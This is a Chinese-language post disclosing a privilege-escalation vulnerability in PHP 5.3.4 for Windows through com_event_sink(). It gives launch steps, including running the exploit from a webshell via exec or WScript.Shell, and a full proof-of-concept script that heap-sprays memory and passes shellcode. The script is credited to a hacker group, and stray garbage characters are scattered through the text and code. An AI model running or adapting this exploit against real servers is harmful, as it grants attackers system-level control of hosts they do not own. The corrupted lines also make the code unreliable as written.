PHP 5.3.4(WIN) COM_SINK权限提升漏洞

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PHP最新版已经更新至5.4.x，不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中

测试方法如下：cmd /c x:\php\php.exe x:\test.php

! Q  F' `9 G9 {9 C  [5 a下载php程序至本地，然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行，或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
/ }5 W% d/ {( a. n+ |+ E这里是两个测试的截图：

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成功利用此漏洞的攻击者将获得系统的最高权限

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关于漏洞分析稍后附上。一下是PoC代码：

<?php
7 b* q( Y' {/ S/ n! D) B- r//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
8 g/ ~( w# K* d6 e! H//$eip ="\x44\x43\x42\x41";
$eip= "\x4b\xe8\x57\x78";
/ c- @6 _" y. |, }7 x" g$eax ="\x80\x01\x8d\x04";
$deodrant="";
$axespray = str_repeat($eip.$eax,0x80);
: U: P5 Q+ ^. n5 Z5 E: q2 a9 N0 f//048d0190
echo strlen($axespray);
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
echo "Silic Group Hacker Army - BlackBap.Org";
" i  {$ X( c; I//19200 ==4B32 4b00
* ?  E: [" T! B$ ~" p* ifor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
$terminate = "T";
$u[] =$deodrant;
1 M+ r" J0 Z4 q! m7 A$r[] =$deodrant.$terminate;
$a[] =$deodrant.$terminate;
$s[] =$deodrant.$terminate;
//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的
$vVar = new VARIANT(0x048d0000+180);
; S; \4 l- N" p8 d* Y//弹窗代码(Shellcode)
6 S% Z* w& n$ g6 O6 z! P( C! t& G$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
$var2 = new VARIANT(0x41414242);
com_event_sink($vVar,$var2,$buffer);
?>